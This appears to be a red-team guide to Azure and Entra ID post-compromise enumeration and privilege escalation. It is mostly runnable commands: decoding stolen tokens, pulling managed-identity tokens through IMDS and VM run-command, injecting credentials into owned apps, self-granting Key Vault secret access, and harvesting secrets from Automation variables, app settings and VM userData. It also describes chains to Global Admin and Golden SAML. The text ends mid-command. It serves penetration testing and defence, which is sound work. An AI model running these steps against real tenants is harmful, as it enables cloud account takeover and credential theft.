Purpose: a well maintained guide for answering the question “with the principal I have already compromised, how do I find the next step?”
The guide assumes you have at least one working token (or better SP creds). For getting to that point, see Initial Access (coming soon) or Token Collection.
Tip: For az rest, you can inject a bearer token by passing in:
--headers "Authorization=Bearer $TOKEN"(if you only have a token)
Table of Contents
- The Core Mindset
- Establish Your Principal
- Entra ID
- Azure Resource Manager
- Attack Path Decision Matrix
- Hybrid Pivot Check
- Tools Reference
The Core Mindset
Two rules before anything else:
1. Always check both planes. Entra ID (Graph) and Azure ARM are independent permission models. A dead end on one is not a dead end on the other. A principal with no ARM RBAC role may have a Graph app permission that enable some movement.
2. Remember: A read permission shows you the target. A write permission is an attack. Microsoft.KeyVault/vaults/secrets/read gets you credentials. Microsoft.Authorization/roleAssignments/write makes you Owner.
When working through the steps below, complete the full picture before acting. A combination of findings often produces a better path than acting on the first one you see.
Establish Your Principal
Goal: Determine what type of identity you have
Before running any tools, understand what type of identity you have. Your token type determines which APIs are accessible, which commands will fail, and which attack paths are viable.
Token Type Decision Table
| Token type | How you got it | /me works? | ARM enumeration | Notes |
|---|---|---|---|---|
| Delegated user token | az login, device code, phished refresh token | Yes | Yes, as the user | MFA state and CA policy apply |
| App-only (SP) token | client_credentials flow, app secret/cert | No - use SP object ID | Yes, if SP has ARM roles | Check roles claim for app roles |
| Managed identity token | IMDS from compute | No - use SP object ID | Yes, if MI has ARM roles | No credential to steal; expires quickly |
| PRT / refresh token | Phished, extracted from device | Depends on flow | Depends | Convert to access token first |
az ad signed-in-user show and az account list only work with delegated user tokens. For SP and MI tokens, decode oid from the JWT payload directly.
If any of the below doesn’t work, that’s okay. Your principal may have narrowly scoped permissions. We will handle that once we get to the automated tools.
Identity Questions
Lets get our UUID first to make this easier
# with az rest already authed - graph
export userid=$(az rest --method get --url "https://graph.microsoft.com/v1.0/me" | jq -r .id)
# decode if we've stolen a token
export userid=$(echo $TOKEN | cut -d'.' -f2 | base64 -d | jq -r '.oid')
Its also good to validate your token if you just have that
# graph
curl -s "https://graph.microsoft.com/v1.0/me" -H "Authorization: $GRAPH_TOKEN" | jq
# ARM (still good if it returns an empty list)
curl -s https://management.azure.com/tenants?api-version=2020-01-01 -H "Authorization: Bearer $ARM_TOKEN" | jq
User, service principal, or managed identity?
# CLI - check token context type
az account show --query "user.type"
# all token types - decode key claims from JWT payload
# idtyp: "user" or "app" | azpacr=0 → MI, 1/2 → SP | xms_mirid present → MI
# wids → active Entra directory roles (cross-ref Entra ID) | roles → Graph app roles for SP/MI | scp → delegated scopes
echo "<token>" | cut -d'.' -f2 | base64 -d | jq '{idtyp, azpacr, xms_mirid, oid, tid, upn, wids, roles, scp}'
(Get-AzContext).Account # check type
Cloud-only or synced from on-prem AD?
# curl - null = cloud-only, true = synced
curl -s -X GET "https://graph.microsoft.com/v1.0/users/$userid?\$select=onPremisesSyncEnabled" -H "Authorization: Bearer $GRAPH_TOKEN" | jq
# powershell
Connect-MgGraph
Get-MgUser -UserId $userid -Property onPremisesSyncEnabled | Select-Object onPremisesSyncEnabled
Is this a high-visibility account?
No single signal - combine three checks:
again, your principal might not have the permissions to list this stuff out. We will cover that in the tools sections. chill.
1 - Entra
# active entra directory roles
az rest --method GET --uri "https://graph.microsoft.com/v1.0/users/$userid/memberOf/microsoft.graph.directoryRole" | jq
# with curl
curl -s -H "Authorization: $GRAPH_TOKEN" -H "Content-Type: application/json" \
"https://graph.microsoft.com/v1.0/users/$userid/memberOf/microsoft.graph.directoryRole" | jq
2 - ARM
# ARM role assignments across all subscriptions
az role assignment list --assignee $userid --all --output table
az resource list
No CLI? See Roles and Actions for the curl equivalent.
Powershell
Get-AzRoleAssignment -ObjectId $userid
Get-AzResource
Permissions: ARM operation - requires
Microsoft.Authorization/roleAssignments/readat subscription scope (included in the built-inReaderrole). A user with no ARM RBAC assignment receives 403.
Any account with active Entra directory roles or ARM Owner/Contributor at subscription scope is high-visibility by definition.
If you have code execution on a VM (or other compute) with no Azure credentials yet - check IMDS before anything else. A managed identity may already be attached:
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Check Token Collection - From Compute for other IMDS endpoint depending on resource.
I think that will cover the majority of common circumstances.
Both Planes: Decode Your Token
The claims that matter here:
wids→ active Entra directory role IDs - cross-reference the danger-tier table in Dangerous Entra ID Directory Rolesroles→ Graph app roles for SP/MI tokens - cross-reference the app roles table in Dangerous Graph API App Rolesscp→ delegated Graph scopes for user tokens
Both wids GUIDs and built-in role template IDs are static across all tenants.
Questions to ask
- SP or MI token without
Directory.Read.AllorUser.Read.All? → Skip AzureHound, go to Blind Permission Discovery - User token with limited visibility? → Try the automated tools, fall back to Blind Permission Discovery
- Have a token, not sure what it can do? → Decode claims above, map
wids/rolesagainst the Entra ID tables
Entra ID
Automated Tools
Goal: Use automated tools to surface attack paths quickly before doing anything manually.
If your principal has sufficient read permissions, automated tools collapse hours of manual enumeration into minutes. Run these before manual checks - but only if your principal can support them.
OpSec: AzureHound makes thousands of Graph API calls in a short window. On sensitive engagements, skip it and use Blind Permission Discovery instead.
AzureHound → BloodHound
https://github.com/SpecterOps/AzureHound
Maps IAM relationships and attack paths graphically. After uploading results, run “Shortest Paths to High Value Targets” from your owned node.
Permissions: Requires
Directory.Read.AllorUser.Read.Allfor full graph coverage. Without these, most edges will be absent and the graph is not useful. A standard member user token produces very limited results.
See Internal Recon - Framework Tools for AzureHound install and collection commands.
ROADtools / roadrecon
Full Entra ID snapshot into SQLite + web UI. Best for browsing app role assignments, group memberships, owned objects, and CA policies when you have a Graph token.
# use an aad token for roadtools.
export AAD_TOKEN=$(az account get-access-token --resource-type aad-graph | jq -r .accessToken)
roadrecon auth --access-token $AAD_TOKEN
roadrecon gather
# dump CAPS policies
roadrecon plugin policies
# start UI
roadrecon gui # browse http://127.0.0.1:5000
Permissions: Works with any valid tenant user token. roadrecon uses the legacy AAD Graph API (
graph.windows.netwithapi-version=1.61-internal), which exposes CA policies to all authenticated users regardless of role. No elevated permissions required forgatherorplugin policies.
CAPSlock
Caps analysis engine based on the roadrecon database. Can help map which CAPS actually apply in a given situation. https://github.com/rbnroot/CAPSlock
capslock-web --port 8080 --host 127.0.0.1
Run this in the same directory as the roadrecon.db OR pass a path in with:
--db <path>
Blind Permission Discovery
Goal: Discover actual permissions when automated tools fail, return 403, or aren’t viable for your principal type. These techniques surface actual permissions without requiring role-read access.
Minimal-Permission Graph Queries
These work with any valid Graph token regardless of directory permissions - principals can always read their own identity data:
export GRAPH_TOKEN="<graph-access-token>"
# your own profile
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/me" | jq
# all groups you belong to, including nested (transitive)
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" | jq
# your own graph app role assignments
fcurl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/v1.0/me/appRoleAssignments" | jq
For SP/MI tokens - /me endpoints don’t work. Decode oid from the token and query the SP directly:
Below if when you are operating AS the principal.
SP_OBJ="<object id"
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals/$SP_OBJ/appRoleAssignments"
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/servicePrincipals/$SP_OBJ/memberOf"
Resolve a roles claim GUID to a permission name:
GRAPH_SP=$(az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
| jq -r '.value[0].id')
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP/appRoles" \
| jq '.value[] | {id, value, displayName}'
PIM eligible Entra roles - check separately from active assignments:
# active directory role memberships only appear in memberOf - eligible assignments need this:
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleInstances?\$filter=principalId eq '$SP_OBJ'"
Permissions: Requires
RoleEligibilitySchedule.Read.DirectoryorDirectory.Read.All- not in default member permissions.
If that doesn’t work, you might not have the proper permissions. Try the graph beta endpoint.
az rest --method GET \
--uri "https://graph.microsoft.com/beta/privilegedAccess/aadroles/roleAssignments?\$expand=linkedEligibleRoleAssignment,subject,roleDefinition(\$expand=resource)&\$filter=(subject/id eq '$userid') and (assignmentState eq 'Eligible')&\$count=true" | jq
Summary
| Scenario | Technique |
|---|---|
| Have a token, unsure what it has | Decode claims above; map wids/roles against the Entra ID tables |
| Low-privilege Graph token (user) | /me/transitiveMemberOf, /me/appRoleAssignments |
SP/MI token, can’t query /me | Decode oid → query SP directly |
| Need PIM eligible Entra roles | roleEligibilityScheduleInstances (see above) |
CloudPEASS
Attempts operations rather than reading role assignments. Catches things that role-list-based tools miss, including when read permissions are denied. Also decomposes custom role actions and flags dangerous configurations.
This is one should work no matter what permissions the principal has. It will output which permissions your principal has over which resources.
# also supports device code auth, run with no env vars and --tenant <tenant>
export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)
python3 AzurePEAS.py --not-enumerate-m365 --out-json peas.json
Dangerous Entra ID Directory Roles
Goal: Check your Entra ID permissions for direct escalation paths .
Check active directory roles, PIM eligible roles, Graph API app role assignments (for SP/MI contexts), and custom Entra role actions. Each is a distinct layer - missing any one will leave attack paths invisible.
Note:
/me/memberOfand/transitiveMemberOfonly return active assignments. A principal with no active roles may have an eligible Global Admin assignment. Use theroleEligibilityScheduleInstancesquery from Blind Permission Discovery to check PIM eligible roles separately.
For enumeration commands beyond what’s here, see Internal Recon - Entra ID Directory Roles & PIM.
Template IDs are static across all tenants - use these to decode wids claim values.
| Role | Template ID | Risk | What it enables |
|---|---|---|---|
| Global Administrator | 62e90394-69f5-4237-9190-012177145e10 | Tier 0 | Full tenant control. Can elevate to root-scope User Access Administrator on ARM. |
| Privileged Role Administrator | e8611ab8-c189-46e8-94e1-60213ab1f814 | Tier 0 | Assign any Entra role to any principal. Can also grant admin consent for any MS Graph or Azure AD Graph application permission. Chain: assign self GA → Tier 0. |
| Privileged Authentication Administrator | 7be44c8a-adaf-4e2a-84d6-ab2649e08a13 | Tier 0 | Reset MFA and password for any user, including other Global Admins. |
| Application Administrator | 9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3 | Tier 0 | Add credentials to any app or SP. Can grant delegated permissions and non-MS-Graph app permissions - but cannot consent MS Graph or Azure AD Graph application permissions (that requires Privileged Role Admin or GA). See chain below. |
| Cloud Application Administrator | 158c047a-c907-4556-b7ef-446551a6b5f7 | Tier 0 | Same as Application Admin except no App Proxy management. |
| Hybrid Identity Administrator | 8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2 | Tier 0 | Modify federation configuration. Chain: add federated domain with attacker cert → Golden SAML for any synced user. |
| Intune Administrator | 3a2c62db-5318-420d-8d74-23affee5d9d5 | Tier 0* | Deploy scripts to Intune-managed devices. Can read LAPS passwords (deviceLocalCredentials/password/read) and BitLocker recovery keys for managed devices. Tier 0 only if Tier-0 workstations are Intune-managed. |
| User Administrator | fe930be7-5e62-47db-91af-98c3a49a38b1 | High | Reset passwords for non-admins and a defined subset of lower-privilege admin roles (Helpdesk Admin, Auth Admin, Password Admin, Directory Readers, etc.). Cannot reset GA, PRA, PAA, Security Admin, or members/owners of role-assignable groups. |
| Authentication Administrator | c4e39bd9-1100-46d3-8c65-fb160da0071f | High | Reset passwords and MFA for non-admins. Can force MFA re-registration and revoke “remember MFA on this device.” Lower-tier version of Privileged Auth Admin. |
| Helpdesk Administrator | 729827e3-9c14-49f7-bb1b-9608f156bbb8 | High | Password reset only on non-admin users - cannot manage MFA or other authentication methods (key distinction from Auth Admin). |
| Groups Administrator | fdd7a751-b60b-444a-984c-02652fe8fa1c | High | Create, modify, delete groups and group settings. Add members to any non-role-assignable group - explicitly excluded from managing role-assignable groups. |
| Security Administrator | 194ae4cb-b126-40b2-bd5b-6091b380977d | High | Full CRUD on Conditional Access policies (conditionalAccessPolicies). Can disable MFA requirements by modifying or creating policy exclusions. |
| Conditional Access Administrator | b1be1c3e-b65d-4f19-8427-f6fa0d97feb9 | Medium-High | Manage CA policies. Create exclusions for attacker accounts or apps. |
| Exchange Administrator | 29232cdf-9323-42fd-ade2-1d097af3e4de | High | Mailbox impersonation; create forwarding rules; exfiltrate credentials from email. |
Note: Application Admin is Tier 0 via credential injection - not permission granting. The attack path is: find a service principal that already holds high-privilege MS Graph permissions (e.g. the Office 365 Exchange Online SP with
Domain.ReadWrite.Allpre-consented), add credentials to it, authenticate as that SP, then use its existing permissions to add a federated domain and forge SAML tokens. App Admin cannot itself grant MS Graph application permissions - that elevation step requires Privileged Role Admin or GA. See ARM to Entra - ADFS Server for the SAML forgery mechanics.
Dangerous Graph API App Roles (for SP / MI Contexts)
These are appRoleAssignment values - permissions granted to a SP or MI by an admin, not delegated by a user. The roles claim in the token contains the GUIDs.
| App Role | Risk | What it enables |
|---|---|---|
RoleManagement.ReadWrite.Directory | Tier 0 | Assign any Entra directory role to any principal. Direct path to Global Admin. |
AppRoleAssignment.ReadWrite.All | Tier 0 | Grant any Graph app role to any SP - no admin approval workflow. Chain: grant self RoleManagement.ReadWrite.Directory → assign GA. |
Application.ReadWrite.All | Tier 0 | Add credentials to any app or SP. Modify app properties. Hijack high-privilege apps. |
Domain.ReadWrite.All | Tier 0 | Create and configure federated domains. Combined with Hybrid Identity Administrator: Golden SAML without on-prem ADFS. |
Directory.ReadWrite.All | Tier 0 | Write access to most directory objects (excluding delete). Can add self as owner of any app, then use that ownership to call addPassword - two-step credential injection path across registered apps. |
User.ReadWrite.All | High | Modify user properties, managers, and profile data. Does not include password reset - that requires UserAuthenticationMethod.ReadWrite.All, and even then protected/privileged users are blocked. |
GroupMember.ReadWrite.All | High | Add/remove members from any security group. Add self to groups with ARM RBAC assignments. Cannot modify role-assignable groups - those require RoleManagement.ReadWrite.Directory. |
Policy.ReadWrite.ConditionalAccess | High | Create or modify CA policies. Disable MFA for specific users or apps. Create exclusions for attacker identity. |
DeviceManagementConfiguration.ReadWrite.All | High | Deploy scripts to Intune-managed devices. Code execution on managed workstations and PAWs. |
Note:
AppRoleAssignment.ReadWrite.Allis a little known escalation. A SP with only this permission can grant itselfRoleManagement.ReadWrite.Directorywith no admin approval, then assign itself or a controlled identity Global Administrator. This chain is not widely known and BloodHound doesn’t always surface it directly.
Dangerous Entra Custom Role Actions
When a principal holds a custom Entra role (visible in the wids claim as an unfamiliar GUID, or via role assignment query), inspect the role definition for these high-value permission strings. These are Entra-specific - separate from ARM permission actions.
| Permission action | Risk | Enables |
|---|---|---|
microsoft.directory/applications/credentials/update | Critical | Add credentials to any app registration |
microsoft.directory/servicePrincipals/credentials/update | Critical | Add credentials to any SP |
microsoft.directory/roleAssignments/create | Critical | Assign Entra directory roles |
microsoft.directory/users/password/update | Critical | Reset user passwords |
microsoft.directory/groups/members/update | High | Modify group memberships |
microsoft.directory/oAuth2PermissionGrants/allProperties/allTasks | Critical | Grant/revoke OAuth consent |
Indirect Permissions
Goal: Find escalation paths through groups, owned objects, and scope inheritance - both planes.
Most escalation paths are indirect. You rarely need to directly hold Owner - more commonly you own something that holds Owner, or you’re in a group that holds it. Both planes have indirect paths.
Entra Indirect: Group Memberships
Groups can hold ARM RBAC roles and Entra directory roles. Your effective permissions include everything inherited from every group you belong to, including nested groups.
# get all groups (transitive - includes nested)
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/me/transitiveMemberOf" | jq '.value[] | {displayName, id}'
# for each group, check ARM role assignments held by groups
az role assignment list --all --query "[?principalType=='Group']" --output table # requires ARM Reader
# check if any group is role-assignable (can hold entra directory roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups?\$filter=isAssignableToRole eq true"
Dynamic groups - if a group’s membership rule uses an attribute you can set on your own account, you can self-enroll without needing groups/members/update:
# find dynamic groups
az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
# inspect the membership rule
az ad group show --group "<group-name>" --query "membershipRule"
# modify your own attribute to match (example: otherMails rule)
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/<your-object-id>" \
--headers "Content-Type=application/json" \
--body '{"otherMails": ["match@value.net"]}'
Standard users can modify: givenName, surname, streetAddress, state, postalCode, country, telephoneNumber, mobile, otherMails. See Entra to ARM - Method 7 for the full attribute list by role.
Entra Indirect: Owned Objects
Ownership of an app, SP, or group gives you control over it without needing any other permission. This is the most commonly overlooked escalation surface.
# all objects you own in entra
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/me/ownedObjects" | jq '.value[] | {displayName, "@odata.type", id}'
| If you own… | You can… | Attack |
|---|---|---|
| An App Registration with ARM roles | Add credentials (no special permission needed - ownership is enough) | Auth as that app’s SP → inherit its ARM/Entra permissions |
| A Service Principal with ARM roles | Same as above | Same |
| A Security Group with ARM RBAC | Add yourself as a member | Inherit the group’s role assignments |
Inject credentials into an app you own:
# --append avoids removing existing credentials
az ad app credential reset --id <app-id> --append
# authenticate as that SP
az login --service-principal -u <appId> --password <new-secret> --tenant <tenant-id>
See Entra to ARM - Method 4 for the full workflow.
Azure Resource Manager
Automated Tools
AzureHound → BloodHound
AzureHound collects ARM RBAC data in addition to Entra — subscription, resource group, and resource-level role assignments all feed into BloodHound edges. The edges that surface ARM paths (AZOwner, AZUserAccessAdministrator, AZExecuteCommand, AZManagedIdentity, AZKeyVaultKVContributor) require broad Reader access at subscription scope to populate. Without it, ARM edges will be absent from the graph.
Blind Permission Discovery
ARM Plane: Permissions API
Returns the list of ARM actions your identity is allowed to perform at a given scope. Does not require Microsoft.Authorization/roleAssignments/read. Works inside custom roles with opaque names.
Permissions: Despite being a “what can I do” discovery endpoint, this is still an ARM call. The caller must hold at least one ARM RBAC role at or above the target scope to get a non-403 response. A user with no ARM assignments is denied everywhere.
# what can I do at subscription scope?
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
# what can I do in a specific resource group?
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
# what can I do on a specific resource?
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.KeyVault/vaults/<vault>/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
The response lists actions and dataActions directly. A custom role named “DataReader” with Microsoft.Authorization/roleAssignments/write in its actions will show that action here - the role name is irrelevant.
If ARM returns 403 everywhere: Your principal likely has no RBAC assignments visible at any scope, or no subscriptions are accessible. Options:
# try the management group hierarchy - may work with minimal perms
az rest --method POST \
--uri "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{"query": "ResourceContainers | where type == \"microsoft.management/managementgroups\" | project name, properties"}'
Above command just helps validate the token and provides some details about the env.
Permissions: Resource Graph query - requires at minimum ARM
Readeron at least one subscription. Returns empty results or 403 with no ARM RBAC assignment.
If ARM is genuinely empty (frick), pivot entirely to the Entra plane (Entra ID). This is common for SP and MI principals whose role assignments live exclusively in Entra.
ARM Plane: Decode Custom Role Definitions
When you can read a role assignment but the role name is custom (meaningless), inspect its actual actions:
Permissions: All commands here are ARM operations - require
Microsoft.Authorization/roleDefinitions/readandMicrosoft.Authorization/roleAssignments/read(both included inReader).
# list all custom roles defined in the subscription
az role definition list --custom-role-only --output table
# get the full permission set for a specific custom role
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Authorization/roleDefinitions/<role-id>?api-version=2022-04-01" \
| jq '.properties.permissions[] | {actions, notActions, dataActions}'
# find your assignment's role ID
az role assignment list --assignee <your-id> --all \
| jq '.[] | {roleName: .roleDefinitionName, roleId: .roleDefinitionId, scope: .scope}'
# same as above with az rest
az rest --method GET \ --uri "https://management.azure.com/subscriptions/<subId>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=assignedTo('<objectId>')" \
| jq '.value[] | {roleId: .properties.roleDefinitionId, scope: .properties.scope}'
# resolve role ID to name
az rest --method GET --uri "https://management.azure.com/subscriptions/<subId>/providers/Microsoft.Authorization/roleDefinitions/<roleDefId>?api-version=2022-04-01" | jq
Summary
| Scenario | Technique |
|---|---|
| 403 on role assignment list | ARM Permissions API |
| Custom role with opaque name | Inspect role definition actions |
| ARM returns 403 everywhere | Pivot to Entra plane; try Resource Graph hierarchy query |
| Nothing else works | CloudPEASS (see below) |
CloudPEASS
Attempts operations rather than reading role assignments. Catches things that role-list-based tools miss, including when read permissions are denied. Also decomposes custom role actions and flags dangerous configurations.
This is one should work no matter what permissions the principal has. It will output which permissions your principal has over which resources.
# also supports device code auth, run with no env vars and --tenant <tenant>
export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)
python3 AzurePEAS.py --not-enumerate-m365 --out-json peas.json
Dangerous ARM Roles and Actions
Goal: Check your ARM permissions for direct escalation paths - roles, actions, and exploitation primitives.
Check active role assignments at all scopes (management group, subscription, resource group, resource), PIM eligible ARM roles, and the actions of any custom roles. For enumeration commands, see Internal Recon - ARM - RBAC & PIM.
Note: A role at
/(root management group) is inherited by every subscription and resource in the tenant. A role at resource group scope withMicrosoft.Authorization/roleAssignments/writeenables escalation upward. The role name tells you nothing - inspect the actions.
Note: If ARM returns 403 everywhere, see the fallback guidance in Blind Permission Discovery and pivot to Entra ID checks.
PIM eligible ARM roles - check separately from active assignments:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<sub>/providers/Microsoft.Authorization/roleEligibilityScheduleInstances?api-version=2020-10-01&\$filter=principalId eq '<userId>'"
Permissions: ARM operation - requires at minimum
Readerat subscription scope. Returns 403 with no ARM RBAC assignment.
If that doesn’t work, you might not have the proper permissions. Try the graph beta endpoint.
az rest --method GET --uri "https://graph.microsoft.com/beta/privilegedAccess/aadroles/roleAssignments?\$expand=linkedEligibleRoleAssignment,subject,roleDefinition(\$expand=resource)&\$filter=(subject/id eq '$userid') and (assignmentState eq 'Eligible')&\$count=true" | jq
| Role / Action | Risk | What it enables |
|---|---|---|
| Owner | Critical | Full access + role assignment. Can assign any role to any principal at that scope. |
| User Access Administrator | Critical | Role assignment only. Same escalation capability as Owner. |
| Contributor | High | Create/modify/delete all resources. Code execution paths via VMs, Function Apps, Automation Accounts. |
Microsoft.Authorization/roleAssignments/write | Critical | Assign any RBAC role at the current scope. Escalate from resource group → subscription → root. |
Microsoft.Compute/virtualMachines/runCommand/action | Critical | Execute arbitrary commands on VM as SYSTEM/root. Chains to IMDS MI token extraction. |
Microsoft.KeyVault/vaults/write (KV Contributor) | Critical | Modify Key Vault access policies. Self-grant data plane read on all secrets, keys, and certs. |
Microsoft.KeyVault/vaults/secrets/read | Critical | Read secret values directly. SP credentials, API keys, database passwords, signing certs. |
Microsoft.Storage/storageAccounts/listKeys/action | Critical | Extract storage account keys. Full data plane access to all blobs, tables, queues. |
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action | Critical | Attach an existing user-assigned MI to any compute resource you control → inherit all of that MI’s permissions. |
Microsoft.Automation/automationAccounts/jobs/write | High | Create and run Automation runbooks. Executes as the Automation Account’s managed identity. |
Microsoft.Web/sites/config/write | High | Modify App Service/Function App config. Swap container image or inject env vars. |
Microsoft.Compute/virtualMachines/write | High | Modify VM properties. Can reassign managed identity to VM you control. |
Microsoft.Resources/deployments/write | High | Deploy ARM templates. Template code executes with the deploying identity’s permissions. |
Note: Key Vault Contributor is a known blind spot. The role grants management-plane access, not data-plane access - on paper, you can’t read secrets. But
Microsoft.KeyVault/vaults/write(included in KV Contributor) lets you add yourself to the Key Vault’s access policy, granting yourself data-plane read. BloodHound surfaces this as theAZKeyVaultKVContributoredge. Most manual audits miss it.
Note: The
set-policycommand below only works on vaults using the access-policy permission model. For vaults withenableRbacAuthorization: true, grant yourself the “Key Vault Secrets User” role instead.
Key Vault Contributor → secrets:
# check which permission model the vault uses
az keyvault show --name <vault-name> --query "properties.enableRbacAuthorization"
# access-policy vault: add yourself to the access policy
az keyvault set-policy --name <vault-name> \
--object-id <your-object-id> \
--secret-permissions get list
# RBAC vault: assign yourself "key vault secrets user" at vault scope
az role assignment create \
--role "Key Vault Secrets User" \
--assignee <your-object-id> \
--scope "/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.KeyVault/vaults/<vault-name>"
# read secrets (same for both models after access is granted)
az keyvault secret list --vault-name <vault-name>
az keyvault secret show --vault-name <vault-name> --name <secret-name>
Indirect Permissions
ARM Indirect: Role Scope Inheritance
ARM RBAC assignments at a parent scope are inherited by all children. A role at management group scope applies to every subscription and resource under it - check the full hierarchy, not just the subscription you’re operating in.
Permissions: All commands in this block are ARM operations - require at minimum
Readerat management group or subscription scope.
# walk the management group hierarchy
az account management-group list --output table
# check assignments at a management group scope
az role assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<mg-id>" \
--output table
# resource graph: all role assignments across all visible scopes
az rest --method POST \
--uri "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{"query": "authorizationresources | where type == \"microsoft.authorization/roleassignments\" | project properties.principalId, properties.roleDefinitionId, properties.scope"}'
ARM Indirect: Managed Identity Assignment
If you can write to a compute resource (Microsoft.Compute/virtualMachines/write, Microsoft.Web/sites/write, etc.), you can attach a user-assigned managed identity to it - then execute code on that resource and extract the MI’s token from IMDS, inheriting all of its ARM and Entra permissions.
# list available user-assigned MIs and check their roles
az identity list --output table # requires Reader on managed identities
az role assignment list --assignee <mi-client-id> --all --output table # requires ARM Reader
# attach a user-assigned MI to a VM you can write to
az vm identity assign \
--resource-group <rg> \
--name <vm> \
--identities <mi-resource-id>
# requires: Microsoft.Compute/virtualMachines/write + Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
# execute on the VM and extract the MI token from IMDS
az vm run-command invoke \
--resource-group <rg> \
--name <vm> \
--command-id RunShellScript \
--scripts "curl -s -H 'Metadata:true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'"
# requires: Microsoft.Compute/virtualMachines/runCommand/action
Resource Access
Goal: Extract credentials from ARM resources when no direct escalation path exists.
Permissions: All commands in this section require ARM RBAC access - minimum
Readeron the target resource or resource group.
Key Vault routing: If you have KV Contributor or
vaults/write- see Roles and Actions first (self-grant data plane access). If you already have data-planesecrets/read- use the commands below.
Priority order:
| Resource | Access needed | What you extract |
|---|---|---|
| Key Vault | secrets/read data plane | SP secrets, API keys, DB passwords, signing certs |
| Automation Account | Variables REST (management plane) | Plaintext credentials if variables are unencrypted |
| App Service / Function App | appsettings list | SP client secrets, storage connection strings |
| VM UserData / CustomData | vm show (management plane) | Provisioning scripts, embedded credentials |
| Storage Account | listKeys | Full data plane access: blobs, tables, queues |
| Automation Account runbooks | Read runbook content | Hardcoded credentials, job output with secrets |
# automation account: read unencrypted variables
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Automation/automationAccounts/<account>/variables?api-version=2023-11-01" \
| jq '.value[] | select(.properties.isEncrypted == false) | {name:.name, value:.properties.value}'
# app service: filter settings for credential patterns
az webapp config appsettings list --name <app> --resource-group <rg> \
| jq '.[] | select(.name | test("SECRET|CLIENT|PASSWORD|TOKEN|KEY|CONN"; "i"))'
# VM: read userdata
az vm show --resource-group <rg> --name <vm> \
--query "userData" --output tsv | base64 --decode
For managed identities attached to resources you can execute on: use runCommand or equivalent to call IMDS from inside the resource and collect the MI token, then check its permissions using the sections above. See Token Collection - From Compute.
CloudPEASS
Attempts operations rather than reading role assignments. Catches things that role-list-based tools miss, including when read permissions are denied. Also decomposes custom role actions and flags dangerous configurations.
This is one should work no matter what permissions the principal has. It will output which permissions your principal has over which resources.
# also supports device code auth, run with no env vars and --tenant <tenant>
export AZURE_ARM_TOKEN=$(az account get-access-token --resource-type arm | jq -r .accessToken)
export AZURE_GRAPH_TOKEN=$(az account get-access-token --resource-type ms-graph | jq -r .accessToken)
python3 AzurePEAS.py --not-enumerate-m365 --out-json peas.json
Attack Path Decision Matrix
Once you have a finding, consult the Azure Attack Path Matrix - a consolidated reference organized by severity tier (Tier 0 through Tier 2 and Hybrid) that maps every finding type to the attack it enables and the post that covers it.
The matrix covers:
- Entra ID directory roles - danger tier, template ID, and what each enables
- Graph API app roles - SP/MI app role assignments and exploitation chains
- Azure ARM roles and permission actions - dangerous built-ins and custom role actions
- Object and group control - owned apps, SP ownership, dynamic group membership rules
- Resource access - Key Vault, Automation Accounts, App Service settings, VM UserData
- Hybrid infrastructure - Connect Sync, Cloud Sync, PTA, ADFS, Hybrid-joined VMs, Seamless SSO
Hybrid Pivot Check
Goal: Detect hybrid identity infrastructure that may be reachable from ARM as normal VMs.
A quick checklist to run after the above sections if the tenant might be hybrid. If any of these return results, the relevant infrastructure is almost always reachable from ARM as normal VMs - see ARM to Entra Pivoting for the full attack chains.
# is hybrid sync configured?
# requires: OnPremDirectorySynchronization.Read.All or Directory.Read.All
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# are there cloud sync provisioning agents?
# requires: OnPremisesPublishingProfiles.ReadWrite.All or equivalent
az rest --method GET \
